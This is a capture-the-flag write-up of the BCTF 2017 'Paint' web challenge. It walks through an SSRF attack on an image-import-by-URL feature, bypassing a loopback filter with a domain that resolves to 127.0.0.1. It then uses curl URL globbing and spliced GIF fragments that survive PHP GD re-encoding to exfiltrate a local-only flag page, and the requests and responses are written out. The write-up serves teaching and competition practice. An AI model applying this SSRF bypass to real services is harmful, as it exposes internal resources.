<-- home

BCTF 2017 / Paint

Description

BCTF was really fun this year, since I managed to solve a couple of challenges :)

I decided to do a writeup on this particular challenge as I found the vulnerability really interesting. Since only 13 teams solved it, I think the solution to the challenge is worth sharing.

I’ll also take this time to write a bit about my general methodology behind approaching web challenges, since I’ve noticed they can be pretty rough for some people if you don’t know where to start!

The Challenge

We are given a website which is basically an online painting app.

app

The app has the following features :

  • Draw various lines/shapes in a canvas
  • Import images from the filesystem
  • Import images from a given URL
  • Save the canvas as an image

Going through my usual methodology, I start by rapidly testing each feature to get a better understanding of how each of them work as well as write down any kind of vulnerability that would come to mind.

When all is done, we can reach the following conclusions :

  • Drawing lines/shapes is a 100% javascript feature. Since there’s no concept of users (for client side attacks), we can safely assume that this feature is irrelevant here.

  • Saving the canvas sends a POST request with base64 encoded data generated by the canvas. The data is then converted to a PNG server side, and sent back as a response to the user for download. Vulnerabilities that come to mind : ImageTragick.

  • Importing images from the filesystem consists of a simple POST request sending our file to the server. The webserver then saves it in an /uploads folder for use in the canvas, and responds to the user with the location + size of the uploaded file. Weirdly enough, the server doesn’t validate whether the given file is a legitimate image. Vulnerabilities that come to mind : Command injection in the filename, ImageTragick and unrestricted file upload (PHP webshells).

  • Lastly, importing images from a URL is a POST request with a given URL. The server sends a request to the given URL, checks if the response is in fact an image, and responds accordingly. Just like the other import feature, the response will include the size of the file found in the URL, as well as the /uploads path or an error message if the URL is an invalid image. Vulnerabilities that come to mind : SSRF, ImageTragick and PHP webshell uploads.

Here is the list of potential vulnerabilities I had written down so far :

  • ImageTragick
  • Command Injection
  • Unrestricted file upload
  • SSRF

Now that we have a better understanding of the app, I usually move on to checking the source code files (HTML, Javascript, CSS) and response headers for any clues that could narrow down our list.

As most of you will have noticed in the HTML source code, there’s a hint pointing us to a /flag.php page :

<title>Firesun's Paint</title>
<!-- <link rel="hint" href="/flag.php"/> -->
<link rel="stylesheet" href="css/paint.css"/>

Visiting the /flag.php page gives us the following output :

Yeah, flag is here. But flag is so secret that only
local users could access it.

It’s pretty clear at this point that this is an SSRF challenge where we have to fetch the contents of the flag.php file through 127.0.0.1.

Importing Images from a URL

Let’s move on to testing the “image import via URL” feature.

Here’s an example request :

POST /image.php HTTP/1.1
Host: paint.bctf.xctf.org.cn
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 23

url=http://example.com/

Depending on the URL given, we can generate three different responses from the server :

  • {"files":{"error":"Invalid URL"}} if the URL doesn’t specify a resource (e.g. http://example.com/)

  • {"files":{"size":XYZ,"error":"Not Image"}} if the URL points to a resource where the contents is not an image (e.g. http://example.com/a.abc which responds with a 404 error message`)

  • {"files":{"size":301,"url":"uploads\/1492559421EfKo2mXY.png"}} if the URL points to an image.

The goal of the challenge seems pretty straightforward. I’m guessing we’ll have to find a way to send a request to flag.php in order for it to be uploaded as an image in the /uploads folder.

Requesting flag.php

Let’s try fetching the flag.php file through this feature.

Request :

POST /image.php HTTP/1.1
Host: paint.bctf.xctf.org.cn
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 42

url=http://127.0.0.1/flag.php

Response :

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 19 Apr 2017 00:01:33 GMT
Content-Type: application/json
Connection: keep-alive
Content-Length: 33

{"files":{"error":"Invalid URL"}}

Invalid URL… This doesn’t make sense, since our URL is well structured. We’ll assume that this message is being trigged by the 127.0.0.1 IP address that we provided.

If we can’t specify the loopback IP address directly, we can try specifying a domain name which points to 127.0.0.1 instead.

If you don’t know any, a quick google search will give you a list of domains. In our case, we’ll use lvh.me.

Request :

POST /image.php HTTP/1.1
Host: paint.bctf.xctf.org.cn
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 26

url=http://lvh.me/flag.php

Response :

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 19 Apr 2017 00:07:16 GMT
Content-Type: application/json
Connection: keep-alive
Content-Length: 42

{"files":{"size":374,"error":"Not Image"}}

Great! Different error message now! We know that the file has been requested since the size response is present, and we also know that the response contains the flag now since http://paint.bctf.xctf.org.cn/flag.php has a size of :

$ curl http://paint.bctf.xctf.org.cn/flag.php 2>/dev/null | wc -c
      80

… 80 bytes, but our response shows a size of 374 bytes.

Bypassing the “Not Image” error

So the problem at this point is to figure out a way to trick the webapp into thinking our flag.php is in fact an image.

Let’s do some fuzzing on the url parameter, maybe we’ll find something useful!

I always suggest using Burpsuite Intruder for this. Here’s my config (note the % before the payload position.

intruder_1

We are testing hex digits between 01 to ff, prepending the % sign to URL encode it. I find this is a good way to test for blacklisted characters or odd behaviors. I’m testing these characters in the query string section of the URL so that I don’t end up getting too many weird results from invalid domains and stuff like that…

intruder_2

Here are the results of the intruder, we’ll look at the length of the responses :

intruder_3

The length of the responses are :

  • 185: These are {"files":{"size":1270,"error":"Not Image"}} responses.
  • 175: There are {"files":{"error":"Invalid URL"}} responses.
  • 182: These are {"files":{"size":0,"error":"Not Image"}}

The first two response lengths are normal. The 185 is the standard message for URLs that don’t point to images, and we know the request worked since we have a size of 1270. The 175 seems to be triggered by non printable characters in the URL.

But what’s with the 182 response? The response suggests that the URL went through and is valid, yet the size of the response is 0 instead of 1270. Let’s look at which characters triggered this :

0a => \n
5b => [
5d => ]
7b => {
7d => }

Hmmm, I’ve seen this set of characters before. They are used by curl for URL globbing! (Read more about it here : https://ec.haxx.se/cmdline-globbing.html)

Basically, URL globbing allows us to send multiple requests using a single URL. For example, curl http://example.com/[1-3].php will send the requests to the following URLs:

  • http://example.com/1.php
  • http://example.com/2.php
  • http://example.com/3.php

The {} characters allows us to do basically the same thing, but with strings instead of a range of numbers.

Let’s try it with the flag.php file. I use a previously uploaded file in the webapp to test this. The uploaded file has a size of 23249 bytes.

The following request uses URL globbing to send a request to both a valid PNG and the flag.php file. The response of each URL is concatenated.

Request :

POST /image.php HTTP/1.1
Host: paint.bctf.xctf.org.cn
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 59

url=http://lvh.me/{uploads/1492563387EJ5e3yT5.png,flag.php}

Response :

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 19 Apr 2017 00:57:06 GMT
Content-Type: application/json
Connection: keep-alive
Content-Length: 64

{"files":{"size":23623,"url":"uploads\/14925634266UJ6MMAA.png"}}

The webserver accepted it! Pay attention to the size. The response size is 23623. If we subtract it from the size of our initial PNG…

$ echo "23623 - 23249" | bc
374

… we get the size of flag.php! So the webapp seems to have taken both URLs into account. Let’s check if the uploaded PNG includes our flag now.

$ curl http://paint.bctf.xctf.org.cn/uploads/14925634266UJ6MMAA.png 2>/dev/null | strings
IHDR
pHYs
BIDATx
v><?
[f'[&
zmL&?=
_;^v
w$na
{N1;
WLi

SWLs
Uc|y
IEND

No flag to be found. Seems like the flag.php output was stripped out.

PHP-GD

One thing I’ve noticed is that the uploaded file is WAY smaller than the original, yet the image stays intact.

$ ls -lah original.png uploaded.png
-rw-r--r--@ 1 Corb3nik  staff    23K Apr 15 17:20 original.png
-rw-r--r--  1 Corb3nik  staff   5.4K Apr 18 21:13 uploaded.png

By googling PHP shrink image size, I fell on this article mentionning PHP GD: http://zenverse.net/php-reducing-image-filesize-using-gd/.

I wasn’t too familiar with PHP GD, so I googled PHP GD bypass and found this!

https://github.com/RickGray/Bypass-PHP-GD-Process-To-RCE

Basically, PHP GD will remove all non-essential sections of an image when recreating an image with imagecreatefrompng(). This explains why the uploaded image so much smaller than the original one.

This also means that imagecreatefrompng() will parse the whole image before shrinking it, so we can’t place the contents of flag.php anywhere since the image will have an invalid structure and the function will fail.

The bypass explains that the content we want to inject has to be injected in a section of the image that will stay intact after the imagecreatefrompng() function.

Seems fairly simple. We just need to upload some files to the webapp, and find sections of 374 bytes or more that stay untouched before and after the upload.

I didn’t have much luck with PNGs but I did find a huge section that we can use if we upload GIF files.

You can get the image here.

I highlighed with As the 374 bytes that we want to inject in :

hexeditor

This is the game plan :

  1. Upload a file containing everything until the first A using the Import via the filesystem feature.
  2. Upload another file containing everything starting after the last A until the end.
  3. Use URL globbing to concatenate it all with flag.php to form the valid GIF.

Here is our final payload. The first and last gif in the URL globbing section are the uploaded sections before and after the As.

Request :

POST /image.php HTTP/1.1
Host: paint.bctf.xctf.org.cn
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 90

url=http://lvh.me/{uploads/1492616596hPkugyOi.gif,flag.php,uploads/1492616731iUPUO2hj.gif}

Response :

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 19 Apr 2017 15:45:43 GMT
Content-Type: application/json
Connection: keep-alive
Content-Length: 63

{"files":{"size":6948,"url":"uploads/1492616742pBtlfDW9.gif"}}

Let’s visit our uploaded image!

$ curl http://paint.bctf.xctf.org.cn/uploads/1492616742pBtlfDW9.gif 2>/dev/null | strings
GIF87a
41+(3"03"72)03H(3J(3O(3H.3U(3X(3X*3X,4H=1`(3`+4h+3u+3"G.)\&8T')`&;`*OM.VM/HQ*H\,S\.iF3aJ1`P2uQ1Sg*Yd-]n*]w$mn.ph%uf(wt.~
F{+RbqdRylZ
<html>
<head>
<meta charset="utf-8" />
<title>Flag</title>
</head>
<body>
<b>Congratulations!</b><br><br>
You got the flag. I hope you enjoy it.<br><br>
The source code will be uploaded after the game on https://github.com/firesunCN<br><br>
Any advice or suggestions will be greatly appreciated.<br><br>
bctf{G073Q1o0Bm4fWKj8iE5TGdb9JBkbnPzh}<br>
</body>
</html>
Xf12
)Td\
�<a,
TWm5

Flag : bctf{G073Q1o0Bm4fWKj8iE5TGdb9JBkbnPzh}